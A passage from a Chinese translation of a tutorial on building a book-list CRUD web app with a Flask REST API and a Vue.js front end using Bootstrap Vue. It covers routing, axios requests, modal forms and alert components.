'vue';\nimport App from './App';\nimport router from './router';\n\nVue.config.productionTip = false;\n\n/* eslint-disable no-new */\nnew Vue({\n  el: '#app',\n  router,\n  components: { App },\n  template: '<App/>',\n});\n```\n\n更新 **client/src/App.vue** 中的 `style`：\n\n```\n<style>\n#app {\n  margin-top: 60px\n}\n</style>\n```\n\n通过使用 [Button](https://getbootstrap.com/docs/4.0/components/buttons/) 和 [Container](https://getbootstrap.com/docs/4.0/layout/overview/#containers) 确保 Bootstrap 在 `Ping` 组件中正确连接：\n\n```\n<template>\n  <div class=\"container\">\n    <button type=\"button\" class=\"btn btn-primary\">{{ msg }}</button>\n  </div>\n</template>\n```\n\n运行开发服务端：\n\n```\n$ npm run dev\n```\n\n你应该会看到：\n\n![vue with bootstrap](https://testdriven.io/static/images/blog/flask-vue/bootstrap.png)\n\n然后，添加一个叫做 `Books` 的新组件到新文件 **Books.vue** 中：\n\n    <template>\n      <div class=\"container\">\n        <p>books</p>\n      </div>\n    </template>\n    \n\n更新路由：\n\n```\nimport Vue from 'vue';\nimport Router from 'vue-router';\nimport Ping from '@/components/Ping';\nimport Books from '@/components/Books';\n\nVue.use(Router);\n\nexport default new Router({\n  routes: [\n    {\n      path: '/',\n      name: 'Books',\n      component: Books,\n    },\n    {\n      path: '/ping',\n      name: 'Ping',\n      component: Ping,\n    },\n  ],\n  mode: 'hash',\n});\n```\n\n测试：\n\n1.  [http://localhost:8080](http://localhost:8080)\n2.  [http://localhost:8080/#/ping](http://localhost:8080/#/ping)\n\n> 想要摆脱掉 URL 中的哈希值吗？更改 `mode` 到 `history` 以使用浏览器的 [history API](https://developer.mozilla.org/en-US/docs/Web/API/History_API) 来导航：\n\n```\nexport default new Router({\n  routes: [\n    {\n      path: '/',\n      name: 'Books',\n      component: Books,\n    },\n    {\n      path: '/ping',\n      name: 'Ping',\n      component: Ping,\n    },\n  ],\n  mode: 'history',\n});\n```\n\n> 查看文档以获得更多路由 [信息](https://router.vuejs.org/guide/essentials/history-mode.html)。\n\n最后，让我们添加一个高效的 Bootstrap 风格表格到 `Books` 组件中：\n\n```\n<template>\n  <div class=\"container\">\n    <div class=\"row\">\n      <div class=\"col-sm-10\">\n        <h1>Books</h1>\n        <hr><br><br>\n        <button type=\"button\" class=\"btn btn-success btn-sm\">Add Book</button>\n        <br><br>\n        <table class=\"table table-hover\">\n          <thead>\n            <tr>\n              <th scope=\"col\">Title</th>\n              <th scope=\"col\">Author</th>\n              <th scope=\"col\">Read?</th>\n              <th></th>\n            </tr>\n          </thead>\n          <tbody>\n            <tr>\n              <td>foo</td>\n              <td>bar</td>\n              <td>foobar</td>\n              <td>\n                <button type=\"button\" class=\"btn btn-warning btn-sm\">Update</button>\n                <button type=\"button\" class=\"btn btn-danger btn-sm\">Delete</button>\n              </td>\n            </tr>\n          </tbody>\n        </table>\n      </div>\n    </div>\n  </div>\n</template>\n```\n\n你现在应该会看到：\n\n![books component](https://testdriven.io/static/images/blog/flask-vue/books-component-1.png)\n\n现在我们可以开始构建我们的 CRUD 应用的功能。\n\n## 我们的目的是什么？\n\n我们的目标是设计一个后端 RESTful API，由 Python 和 Flask 驱动，对应一个单一资源 — books。这个 API 应当遵守 RESTful 设计原则，使用基本的 HTTP 动词：GET、POST、PUT 和 DELETE。\n\n我们还会使用 Vue 搭建一个前端应用来使用这个后端 API：\n\n![final app](https://testdriven.io/static/images/blog/flask-vue/final.gif)\n\n> 本教程只设计简单步骤。处理错误是读者（就是你！）的额外练习。通过你的理解解决前后端出现的问题吧。\n\n## 获取路由\n\n### 服务端\n\n添加一个书单到 **server/app.py** 中：\n\n```\nBOOKS = [\n    {\n        'title': 'On the Road',\n        'author': 'Jack Kerouac',\n        'read': True\n    },\n    {\n        'title': 'Harry Potter and the Philosopher\\'s Stone',\n        'author': 'J. K. Rowling',\n        'read': False\n    },\n    {\n        'title': 'Green Eggs and Ham',\n        'author': 'Dr. Seuss',\n        'read': True\n    }\n]\n```\n\n添加路由接口：\n\n```\n@app.route('/books', methods=['GET'])\ndef all_books():\n    return jsonify({\n        'status': 'success',\n        'books': BOOKS\n    })\n```\n\n运行 Flask 应用，如果它并没有运行，尝试在 [http://localhost:5000/books](http://localhost:5000/books) 手动测试路由。\n\n> 想更有挑战性？写一个自动化测试吧。查看 [这个](https://github.com/mjhea0/flaskr-tdd) 资源可以了解更多关于测试 Flask 应用的信息。\n\n### 客户端\n\n更新组件：\n\n```\n<template>\n  <div class=\"container\">\n    <div class=\"row\">\n      <div class=\"col-sm-10\">\n        <h1>Books</h1>\n        <hr><br><br>\n        <button type=\"button\" class=\"btn btn-success btn-sm\">Add Book</button>\n        <br><br>\n        <table class=\"table table-hover\">\n          <thead>\n            <tr>\n              <th scope=\"col\">Title</th>\n              <th scope=\"col\">Author</th>\n              <th scope=\"col\">Read?</th>\n              <th></th>\n            </tr>\n          </thead>\n          <tbody>\n            <tr v-for=\"(book, index) in books\" :key=\"index\">\n              <td>{{ book.title }}</td>\n              <td>{{ book.author }}</td>\n              <td>\n                <span v-if=\"book.read\">Yes</span>\n                <span v-else>No</span>\n              </td>\n              <td>\n                <button type=\"button\" class=\"btn btn-warning btn-sm\">Update</button>\n                <button type=\"button\" class=\"btn btn-danger btn-sm\">Delete</button>\n              </td>\n            </tr>\n          </tbody>\n        </table>\n      </div>\n    </div>\n  </div>\n</template>\n\n<script>\nimport axios from 'axios';\n\nexport default {\n  data() {\n    return {\n      books: [],\n    };\n  },\n  methods: {\n    getBooks() {\n      const path = 'http://localhost:5000/books';\n      axios.get(path)\n        .then((res) => {\n          this.books = res.data.books;\n        })\n        .catch((error) => {\n          // eslint-disable-next-line\n          console.error(error);\n        });\n    },\n  },\n  created() {\n    this.getBooks();\n  },\n};\n</script>\n```\n\n当组件初始化完成后，通过 [created](https://vuejs.org/v2/api/#created) 生命周期钩子调用 `getBooks()` 方法，它从我们刚刚设置的后端接口获取书籍。\n\n> 查阅 [实例生命周期钩子](https://vuejs.org/v2/guide/instance.html#Instance-Lifecycle-Hooks) 了解更多有关组件生命周期和可用方法的信息。\n\n在模板中，我们通过 [v-for](https://vuejs.org/v2/guide/list.html) 指令遍历书籍列表，每次遍历创建一个新表格行。索引值用作 [key](https://vuejs.org/v2/guide/list.html#key)。最后，使用 [v-if](https://vuejs.org/v2/guide/conditional.html#v-if) 的 `Yes` 或 `No`，来表现用户已读或未读这本书。\n\n![books component](https://testdriven.io/static/images/blog/flask-vue/books-component-2.png)\n\n## Bootstrap Vue\n\n在下一节中，我们将会使用一个模态去添加新书。为此，我们在本节会加入 [Bootstrap Vue](https://bootstrap-vue.js.org/) 库到项目中，它提供了一组基于 Bootstrap 的 HTML 和 CSS 设计的 Vue 组件。\n\n> 为什么选择 Bootstrap Vue？Bootstrap 的 [模态](http://getbootstrap.com/docs/4.1/components/modal/) 组件使用 [jQuery](https://jquery.com/)，但你应该避免把它和 Vue 在同一项目中一起使用，因为 Vue 使用 [虚拟 DOM](https://vuejs.org/v2/guide/render-function.html#Nodes-Trees-and-the-Virtual-DOM) 来更新 DOM。换句话来说，如果你用 jQuery 来操作 DOM，Vue 不会有任何反应。至少，如果你一定要使用 jQuery，不要在同一个 DOM 元素上同时使用 jQuery 和 Vue。\n\n安装：\n\n```\n$ npm install bootstrap-vue@2.0.0-rc.11 --save\n```\n\n在 **client/src/main.js** 中启用 Bootstrap Vue 库：\n\n```\nimport 'bootstrap/dist/css/bootstrap.css';\nimport BootstrapVue from 'bootstrap-vue';\nimport Vue from 'vue';\nimport App from './App';\nimport router from './router';\n\nVue.config.productionTip = false;\n\nVue.use(BootstrapVue);\n\n/* eslint-disable no-new */\nnew Vue({\n  el: '#app',\n  router,\n  components: { App },\n  template: '<App/>',\n});\n```\n\n## POST 路由\n\n### 服务端\n\n更新现有路由以处理添加新书的 POST 请求：\n\n```\n@app.route('/books', methods=['GET', 'POST'])\ndef all_books():\n    response_object = {'status': 'success'}\n    if request.method == 'POST':\n        post_data = request.get_json()\n        BOOKS.append({\n            'title': post_data.get('title'),\n            'author': post_data.get('author'),\n            'read': post_data.get('read')\n        })\n        response_object['message'] = 'Book added!'\n    else:\n        response_object['books'] = BOOKS\n    return jsonify(response_object)\n```\n\n更新 imports：\n\n```\nfrom flask import Flask, jsonify, request\n```\n\n运行 Flask 服务端后，你可以在新的终端里测试 POST 路由：\n\n```\n$ curl -X POST http://localhost:5000/books -d \\\n  '{\"title\": \"1Q84\", \"author\": \"Haruki Murakami\", \"read\": \"true\"}' \\\n  -H 'Content-Type: application/json'\n```\n\n你应该会看到：\n\n```\n{\n  \"message\": \"Book added!\",\n  \"status\": \"success\"\n}\n```\n\n你应该会在 [http://localhost:5000/books](http://localhost:5000/books) 的末尾看到新书。\n\n> 如果书名已经存在了呢？如果一个书名对应了几个作者呢？通过处理这些小问题可以加深你的理解，另外，如何处理 `书名`，`作者`，以及 `阅览状态` 都缺失的无效负载情况。\n\n### 客户端\n\n在客户端上，让我们添加那个模态以添加一本新书，从 HTML 开始：\n\n```\n<b-modal ref=\"addBookModal\"\n         id=\"book-modal\"\n         title=\"Add a new book\"\n         hide-footer>\n  <b-form @submit=\"onSubmit\" @reset=\"onReset\" class=\"w-100\">\n  <b-form-group id=\"form-title-group\"\n                label=\"Title:\"\n                label-for=\"form-title-input\">\n      <b-form-input id=\"form-title-input\"\n                    type=\"text\"\n                    v-model=\"addBookForm.title\"\n                    required\n                    placeholder=\"Enter title\">\n      </b-form-input>\n    </b-form-group>\n    <b-form-group id=\"form-author-group\"\n                  label=\"Author:\"\n                  label-for=\"form-author-input\">\n        <b-form-input id=\"form-author-input\"\n                      type=\"text\"\n                      v-model=\"addBookForm.author\"\n                      required\n                      placeholder=\"Enter author\">\n        </b-form-input>\n      </b-form-group>\n    <b-form-group id=\"form-read-group\">\n      <b-form-checkbox-group v-model=\"addBookForm.read\" id=\"form-checks\">\n        <b-form-checkbox value=\"true\">Read?</b-form-checkbox>\n      </b-form-checkbox-group>\n    </b-form-group>\n    <b-button type=\"submit\" variant=\"primary\">Submit</b-button>\n    <b-button type=\"reset\" variant=\"danger\">Reset</b-button>\n  </b-form>\n</b-modal>\n```\n\n在 `div` 标签中添加这段代码。然后简单阅览一下。`v-model` 是一个用于 [表单输入绑定](https://vuejs.org/v2/guide/forms.html) 的指令。你马上就会看到。\n\n> `hide-footer` 具体干了什么？在 Bootstrap Vue 的 [文档](https://bootstrap-vue.js.org/docs/components/modal/) 中了解更多\n\n更新 `script` 部分：\n\n```\n<script>\nimport axios from 'axios';\n\nexport default {\n  data() {\n    return {\n      books: [],\n      addBookForm: {\n        title: '',\n        author: '',\n        read: [],\n      },\n    };\n  },\n  methods: {\n    getBooks() {\n      const path = 'http://localhost:5000/books';\n      axios.get(path)\n        .then((res) => {\n          this.books = res.data.books;\n        })\n        .catch((error) => {\n          // eslint-disable-next-line\n          console.error(error);\n        });\n    },\n    addBook(payload) {\n      const path = 'http://localhost:5000/books';\n      axios.post(path, payload)\n        .then(() => {\n          this.getBooks();\n        })\n        .catch((error) => {\n          // eslint-disable-next-line\n          console.log(error);\n          this.getBooks();\n        });\n    },\n    initForm() {\n      this.addBookForm.title = '';\n      this.addBookForm.author = '';\n      this.addBookForm.read = [];\n    },\n    onSubmit(evt) {\n      evt.preventDefault();\n      this.$refs.addBookModal.hide();\n      let read = false;\n      if (this.addBookForm.read[0]) read = true;\n      const payload = {\n        title: this.addBookForm.title,\n        author: this.addBookForm.author,\n        read, // property shorthand\n      };\n      this.addBook(payload);\n      this.initForm();\n    },\n    onReset(evt) {\n      evt.preventDefault();\n      this.$refs.addBookModal.hide();\n      this.initForm();\n    },\n  },\n  created() {\n    this.getBooks();\n  },\n};\n</script>\n```\n\n实现了什么？\n\n1. `addBookForm` 的值被 [表单输入绑定](https://vuejs.org/v2/guide/forms.html#Basic-Usage) 到，没错，`v-model`。当数据更新时，另一个也会跟着更新。这被称之为双向绑定。花点时间从 [这里](https://stackoverflow.com/questions/13504906/what-is-two-way-binding) 了解一下吧。想想这个带来的结果。你认为这会使状态管理更简单还是更复杂？React 和 Angular 又会如何做到这点？在我看来，双向数据绑定（可变性）使得 Vue 和 React 相比更加友好，但是从长远看扩展性不足。\n\n2.  `onSubmit` 会在用户提交表单成功时被触发。在提交时，我们会阻止浏览器的正常行为（`evt.preventDefault()`），关闭模态框（`this.$refs.addBookModal.hide()`），触发 `addBook` 方法，然后清空表单（`initForm()`）。\n\n3.  `addBook` 发送一个 POST 请求到 `/books` 去添加一本新书。\n\n4.  根据自己的需要查看其他更改，并根据需要参考 Vue 的 [文档](https://vuejs.org/v2/guide/)。\n\n> 你能想到客户端或者服务端还有什么潜在的问题吗？思考这些问题去试着加强用户体验吧。\n\n最后，更新 template 中的 “Add Book” 按钮，这样一来我们点击按钮就会显示出模态框：\n\n```\n<button type=\"button\" class=\"btn btn-success btn-sm\" v-b-modal.book-modal>Add Book</button>\n```\n\n那么组件应该是这样子的：\n\n    <template>\n      <div class=\"container\">\n        <div class=\"row\">\n          <div class=\"col-sm-10\">\n            <h1>Books</h1>\n            <hr><br><br>\n            <button type=\"button\" class=\"btn btn-success btn-sm\" v-b-modal.book-modal>Add Book</button>\n            <br><br>\n            <table class=\"table table-hover\">\n              <thead>\n                <tr>\n                  <th scope=\"col\">Title</th>\n                  <th scope=\"col\">Author</th>\n                  <th scope=\"col\">Read?</th>\n                  <th></th>\n                </tr>\n              </thead>\n              <tbody>\n                <tr v-for=\"(book, index) in books\" :key=\"index\">\n                  <td></td>\n                  <td></td>\n                  <td>\n                    <span v-if=\"book.read\">Yes</span>\n                    <span v-else>No</span>\n                  </td>\n                  <td>\n                    <button type=\"button\" class=\"btn btn-warning btn-sm\">Update</button>\n                    <button type=\"button\" class=\"btn btn-danger btn-sm\">Delete</button>\n                  </td>\n                </tr>\n              </tbody>\n            </table>\n          </div>\n        </div>\n        <b-modal ref=\"addBookModal\"\n                 id=\"book-modal\"\n                 title=\"Add a new book\"\n                 hide-footer>\n          <b-form @submit=\"onSubmit\" @reset=\"onReset\" class=\"w-100\">\n          <b-form-group id=\"form-title-group\"\n                        label=\"Title:\"\n                        label-for=\"form-title-input\">\n              <b-form-input id=\"form-title-input\"\n                            type=\"text\"\n                            v-model=\"addBookForm.title\"\n                            required\n                            placeholder=\"Enter title\">\n              </b-form-input>\n            </b-form-group>\n            <b-form-group id=\"form-author-group\"\n                          label=\"Author:\"\n                          label-for=\"form-author-input\">\n                <b-form-input id=\"form-author-input\"\n                              type=\"text\"\n                              v-model=\"addBookForm.author\"\n                              required\n                              placeholder=\"Enter author\">\n                </b-form-input>\n              </b-form-group>\n            <b-form-group id=\"form-read-group\">\n              <b-form-checkbox-group v-model=\"addBookForm.read\" id=\"form-checks\">\n                <b-form-checkbox value=\"true\">Read?</b-form-checkbox>\n              </b-form-checkbox-group>\n            </b-form-group>\n            <b-button type=\"submit\" variant=\"primary\">Submit</b-button>\n            <b-button type=\"reset\" variant=\"danger\">Reset</b-button>\n          </b-form>\n        </b-modal>\n      </div>\n    </template>\n    \n    <script>\n    import axios from 'axios';\n    \n    export default {\n      data() {\n        return {\n          books: [],\n          addBookForm: {\n            title: '',\n            author: '',\n            read: [],\n          },\n        };\n      },\n      methods: {\n        getBooks() {\n          const path = 'http://localhost:5000/books';\n          axios.get(path)\n            .then((res) => {\n              this.books = res.data.books;\n            })\n            .catch((error) => {\n              // eslint-disable-next-line\n              console.error(error);\n            });\n        },\n        addBook(payload) {\n          const path = 'http://localhost:5000/books';\n          axios.post(path, payload)\n            .then(() => {\n              this.getBooks();\n            })\n            .catch((error) => {\n              // eslint-disable-next-line\n              console.log(error);\n              this.getBooks();\n            });\n        },\n        initForm() {\n          this.addBookForm.title = '';\n          this.addBookForm.author = '';\n          this.addBookForm.read = [];\n        },\n        onSubmit(evt) {\n          evt.preventDefault();\n          this.$refs.addBookModal.hide();\n          let read = false;\n          if (this.addBookForm.read[0]) read = true;\n          const payload = {\n            title: this.addBookForm.title,\n            author: this.addBookForm.author,\n            read, // property shorthand\n          };\n          this.addBook(payload);\n          this.initForm();\n        },\n        onReset(evt) {\n          evt.preventDefault();\n          this.$refs.addBookModal.hide();\n          this.initForm();\n        },\n      },\n      created() {\n        this.getBooks();\n      },\n    };\n    </script>\n    \n\n赶紧测试一下！试着添加一本书：\n\n![add new book](https://testdriven.io/static/images/blog/flask-vue/add-new-book.gif)\n\n## alert 组件\n\n接下来，让我们添加一个 [Alert](https://bootstrap-vue.js.org/docs/components/alert/) 组件，当添加一本新书后，它会显示一个信息给当前用户。我们将为此创建一个新组件，因为你以后可能会在很多组件中经常用到这个功能。\n\n添加一个新文件 **Alert.vue** 到 “client/src/components” 中：\n\n```\n<template>\n  <p>It works!</p>\n</template>\n```\n\n然后，在 `Books` 组件的 `script` 中引入它并注册这个组件：\n\n```\n<script>\nimport axios from 'axios';\nimport Alert from './Alert';\n\n...\n\nexport default {\n  data() {\n    return {\n      books: [],\n      addBookForm: {\n        title: '',\n        author: '',\n        read: [],\n      },\n    };\n  },\n  components: {\n    alert: Alert,\n  },\n\n  ...\n\n};\n</script>\n```\n\n现在，我们可以在 `template` 中引用这个新组件：\n\n```\n<template>\n  <b-container>\n    <b-row>\n      <b-col col sm=\"10\">\n        <h1>Books</h1>\n        <hr><br><br>\n        <alert></alert>\n        <button type=\"button\" class=\"btn btn-success btn-sm\" v-b-modal.book-modal>Add Book</button>\n\n        ...\n\n      </b-col>\n    </b-row>\n  </b-container>\n</template>\n```\n\n刷新浏览器，你会看到：\n\n![bootstrap alert](https://testdriven.io/static/images/blog/flask-vue/alert.png)\n\n> 从 Vue 官方文档的 [组件化应用构建](https://vuejs.org/v2/guide/index.html#Composing-with-Components) 中获得更多有关组件化应用构建的信息。\n\n接下来，让我们加入 [b-alert](https://bootstrap-vue.js.org/docs/components/alert/) 组件到 template 中：\n\n```\n<template>\n  <div>\n    <b-alert variant=\"success\" show>{{ message }}</b-alert>\n    <br>\n  </div>\n</template>\n\n<script>\nexport default {\n  props: ['message'],\n};\n</script>\n```\n\n记住 `script` 中的 [props](https://vuejs.org/v2/guide/components-props.html) 选项。我们可以从父组件（`Books`）传递信息，就像这样：\n\n```\n<alert message=\"hi\"></alert>\n```\n\n试试这个：\n\n![bootstrap alert](https://testdriven.io/static/images/blog/flask-vue/alert-2.png)\n\n> 从 [文档](https://vuejs.org/v2/guide/components.html#Passing-Data-to-Child-Components-with-Props) 中获取更多 props 相关信息。\n\n为了方便我们动态传递自定义消息，我们需要在 **Books.vue** 中使用 [bind](https://vuejs.org/v2/guide/syntax.html#v-bind-Shorthand) 绑定数据。\n\n```\n<alert :message=\"message\"></alert>\n```\n\n将 `message` 添加到 **Books.vue** 中的 `data` 中：\n\n```\ndata() {\n  return {\n    books: [],\n    addBookForm: {\n      title: '',\n      author: '',\n      read: [],\n    },\n    message: '',\n  };\n},\n```\n\n接下来，在 `addBook` 中，更新 message 内容。\n\n```\naddBook(payload) {\n  const path = 'http://localhost:5000/books';\n  axios.post(path, payload)\n    .then(() => {\n      this.getBooks();\n      this.message = 'Book added!';\n    })\n    .catch((error) => {\n      // eslint-disable-next-line\n      console.log(error);\n      this.getBooks();\n    });\n},\n```\n\n最后，添加一个 `v-if`，以保证只有 `showMessage` 值为 true 的时候警告才会显示。\n\n```\n<alert :message=message v-if=\"showMessage\"></alert>\n```\n\n添加 `showMessage` 到 `data` 中：\n\n```\ndata() {\n  return {\n    books: [],\n    addBookForm: {\n      title: '',\n      author: '',\n      read: [],\n    },\n    message: '',\n    showMessage: false,\n  };\n},\n```\n\n再次更新 `addBook`，设定 `showMessage` 的值为 `true`：\n\n```\naddBook(payload) {\n  const path = 'http://localhost:5000/books';\n  axios.post(path, payload)\n    .then(() => {\n      this.getBooks();\n      this.message = 'Book added!';\n      this.showMessage = true;\n    })\n    .catch((error) => {\n      // eslint-disable-next-line\n      console.log(error);\n      this.getBooks();\n    });\n},\n```\n\n赶快测试一下吧！\n\n![add new book](https://testdriven.io/static/images/blog/flask-vue/add-new-book-2.gif)\n\n> 挑战：\n>\n> 1.  想想什么情况下 `showMessage` 应该被设定为 `false`。更新你的代码。\n> 2.  试着用 Alert 组件去显示错误信息。\n> 3.  修改 Alert 为 [可取消](https://bootstrap-vue.js.org/docs/components/alert/#dismissible-alerts) 的样式。\n\n## PUT 路由\n\n### 服务端\n\n对于更新，我们需要使用唯一标识符，因为我们不能依靠标题作为唯一。我们可以使用 Python [基本库](https://docs.python.org/3/library/uuid.html) 提供的 `uuid` 作为唯一。\n\n在 **server/app.py** 中更新 `BOOKS`：\n\n```\nBOOKS = [\n    {\n        'id': uuid.uuid4().hex,\n        'title': 'On the Road',\n        'author': 'Jack Kerouac',\n        'read': True\n    },\n    {\n        'id': uuid.uuid4().hex,\n        'title': 'Harry Potter and the Philosopher\\'s Stone',\n        'author': 'J. K. Rowling',\n        'read': False\n    },\n    {\n        'id': uuid.uuid4().hex,\n        'title': 'Green Eggs and Ham',\n        'author': 'Dr. Seuss',\n        'read': True\n    }\n]\n```\n\n不要忘了引入：\n\n```\nimport uuid\n```\n\n我们需要重构 `all_books` 来保证每一本添加的书都有它的唯一 ID：\n\n```\n@app.route('/books', methods=['GET', 'POST'])\ndef all_books():\n    response_object = {'status': 'success'}\n    if request.method == 'POST':\n        post_data = request.get_json()\n        BOOKS.append({\n            'id': uuid.uuid4().hex,\n            'title': post_data.get('title'),\n            'author': post_data.get('author'),\n            'read': post_data.get('read')\n        })\n        response_object['message'] = 'Book added!'\n    else:\n        response_object['books'] = BOOKS\n    return jsonify(response_object)\n```\n\n添加一个新的路由：\n\n```\n@app.route('/books/<book_id>', methods=['PUT'])\ndef single_book(book_id):\n    response_object = {'status': 'success'}\n    if request.method == 'PUT':\n        post_data = request.get_json()\n        remove_book(book_id)\n        BOOKS.append({\n            'id': uuid.uuid4().hex,\n            'title': post_data.get('title'),\n            'author': post_data.get('author'),\n            'read': post_data.get('read')\n        })\n        response_object['message'] = 'Book updated!'\n    return jsonify(response_object)\n```\n\n添加辅助方法：\n\n```\ndef remove_book(book_id):\n    for book in BOOKS:\n        if book['id'] == book_id:\n            BOOKS.remove(book)\n            return True\n    return False\n```\n\n> 想想看如果你没有 `id` 标识符你会怎么办？如果有效载荷不正确怎么办？重构辅助方法中的 for 循环，让他更加 pythonic。\n\n### 客户端\n\n步骤：\n\n1.  添加模态和表单\n2.  处理更新按钮点击事件\n3.  发送 AJAX 请求\n4.  通知用户\n5.  处理取消按钮点击事件\n\n#### （1）添加模态和表单\n\n首先，加入一个新的模态到 template 中，就在第一个模态下面：\n\n```\n<b-modal ref=\"editBookModal\"\n         id=\"book-update-modal\"\n         title=\"Update\"\n         hide-footer>\n  <b-form @submit=\"onSubmitUpdate\" @reset=\"onResetUpdate\" class=\"w-100\">\n  <b-form-group id=\"form-title-edit-group\"\n                label=\"Title:\"\n                label-for=\"form-title-edit-input\">\n      <b-form-input id=\"form-title-edit-input\"\n                    type=\"text\"\n                    v-model=\"editForm.title\"\n                    required\n                    placeholder=\"Enter title\">\n      </b-form-input>\n    </b-form-group>\n    <b-form-group id=\"form-author-edit-group\"\n                  label=\"Author:\"\n                  label-for=\"form-author-edit-input\">\n        <b-form-input id=\"form-author-edit-input\"\n                      type=\"text\"\n                      v-model=\"editForm.author\"\n                      required\n                      placeholder=\"Enter author\">\n        </b-form-input>\n      </b-form-group>\n    <b-form-group id=\"form-read-edit-group\">\n      <b-form-checkbox-group v-model=\"editForm.read\" id=\"form-checks\">\n        <b-form-checkbox value=\"true\">Read?</b-form-checkbox>\n      </b-form-checkbox-group>\n    </b-form-group>\n    <b-button type=\"submit\" variant=\"primary\">Update</b-button>\n    <b-button type=\"reset\" variant=\"danger\">Cancel</b-button>\n  </b-form>\n</b-modal>\n```\n\n添加表单状态到 `script` 中的 `data` 部分：\n\n```\neditForm: {\n  id: '',\n  title: '',\n  author: '',\n  read: [],\n},\n```\n\n> 挑战：不使用新的模态，使用一个模态框处理 POST 和 PUT 请求。\n\n#### （2）处理更新按钮点击事件\n\n更新表格中的“更新”按钮：\n\n```\n<button\n        type=\"button\"\n        class=\"btn btn-warning btn-sm\"\n        v-b-modal.book-update-modal\n        @click=\"editBook(book)\">\n    Update\n</button>\n```\n\n添加一个新方法去更新 `editForm` 中的值：\n\n```\neditBook(book) {\n  this.editForm = book;\n},\n```\n\n然后，添加一个方法去处理表单提交：\n\n```\nonSubmitUpdate(evt) {\n  evt.preventDefault();\n  this.$refs.editBookModal.hide();\n  let read = false;\n  if (this.editForm.read[0]) read = true;\n  const payload = {\n    title: this.editForm.title,\n    author: this.editForm.author,\n    read,\n  };\n  this.updateBook(payload, this.editForm.id);\n},\n```\n\n#### （3）发送 AJAX 请求\n\n```\nupdateBook(payload, bookID) {\n  const path = `http://localhost:5000/books/${bookID}`;\n  axios.put(path, payload)\n    .then(() => {\n      this.getBooks();\n    })\n    .catch((error) => {\n      // eslint-disable-next-line\n      console.error(error);\n      this.getBooks();\n    });\n},\n```\n\n#### （4）通知用户\n\n更新 `updateBook`：\n\n```\nupdateBook(payload, bookID) {\n  const path = `http://localhost:5000/books/${bookID}`;\n  axios.put(path, payload)\n    .then(() => {\n      this.getBooks();\n      this.message = 'Book updated!';\n      this.showMessage = true;\n    })\n    .catch((error) => {\n      // eslint-disable-next-line\n      console.error(error);\n      this.getBooks();\n    });\n},\n```\n\n#### （5）处理取消按钮点击事件\n\n添加方法：\n\n```\nonResetUpdate(evt) {\n  evt.preventDefault();\n  this.$refs.editBookModal.hide();\n  this.initForm();\n  this.getBooks(); // why?\n},\n```\n\n更新 `initForm`：\n\n```\ninitForm() {\n  this.addBookForm.title = '';\n  this.addBookForm.author = '';\n  this.addBookForm.read = [];\n  this.editForm.id = '';\n  this.editForm.title = '';\n  this.editForm.author = '';\n  this.editForm.read = [];\n},\n```\n\n在继续下一步之前先检查一下代码。检查结束后，测试一下应用。确保按钮按下后显示模态框，并正确显示输入值。\n\n![update book](https://testdriven.io/static/images/blog/flask-vue/update-book.gif)\n\n## DELETE 路由\n\n### 服务端\n\n更新路由操作：\n\n```\n@app.route('/books/<book_id>', methods=['PUT', 'DELETE'])\ndef single_book(book_id):\n    response_object = {'status': 'success'}\n    if request.method == 'PUT':\n        post_data = request.get_json()\n        remove_book(book_id)\n        BOOKS.append({\n            'id': uuid.uuid4().hex,\n            'title': post_data.get('title'),\n            'author': post_data.get('author'),\n            'read': post_data.get('read')\n        })\n        response_object['message'] = 'Book updated!'\n    if request.method == 'DELETE':\n        remove_book(book_id)\n        response_object['message'] = 'Book removed!'\n    return jsonify(response_object)\n```\n\n### 客户端\n\n更新“删除”按钮：\n\n```\n<button\n        type=\"button\"\n        class=\"btn btn-danger btn-sm\"\n        @click=\"onDeleteBook(book)\">\n    Delete\n</button>\n```\n\n添加方法来处理按钮点击然后删除书籍：\n\n```\nremoveBook(bookID) {\n  const path = `http://localhost:5000/books/${bookID}`;\n  axios.delete(path)\n    .then(() => {\n      this.getBooks();\n      this.message = 'Book removed!';\n      this.showMessage = true;\n    })\n    .catch((error) => {\n      // eslint-disable-next-line\n      console.error(error);\n      this.getBooks();\n    });\n},\nonDeleteBook(book) {\n  this.removeBook(book.id);\n},\n```\n\n现在，当用户点击删除按钮时，将会触发 `onDeleteBook` 方法。同时，`removeBook` 方法会被调用。这个方法会发送删除请求到后端。当返回响应后，通知消息会显示出来然后 `getBooks` 会被调用。\n\n> 挑战：\n> \n> 1.  在删除按钮点击时加入一个确认提示。\n> 2.  当没有书的时候，显示一个“没有书籍，请添加”消息。\n\n![delete book](https://testdriven.io/static/images/blog/flask-vue/delete-book.gif)\n\n## 总结\n\n这篇文章介绍了使用 Vue 和 Flask 设置 CRUD 应用程序的基础知识。\n\n从头回顾这篇文章以及其中的挑战来加深你的理解。\n\n你可以在 [flask-vue-crud](https://github.com/testdrivenio/flask-vue-crud) 仓库 中的 [v1](https://github.com/testdrivenio/flask-vue-crud/releases/tag/v1) 标签里找到源码。感谢你的阅读。\n\n> **想知道更多？** 看看这篇文章的续作 [Accepting Payments with Stripe, Vue.js, and Flask](https://testdriven.io/accepting-payments-with-stripe-vuejs-and-flask)。\n\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/developing-games-with-react-redux-and-svg-part-2.md",
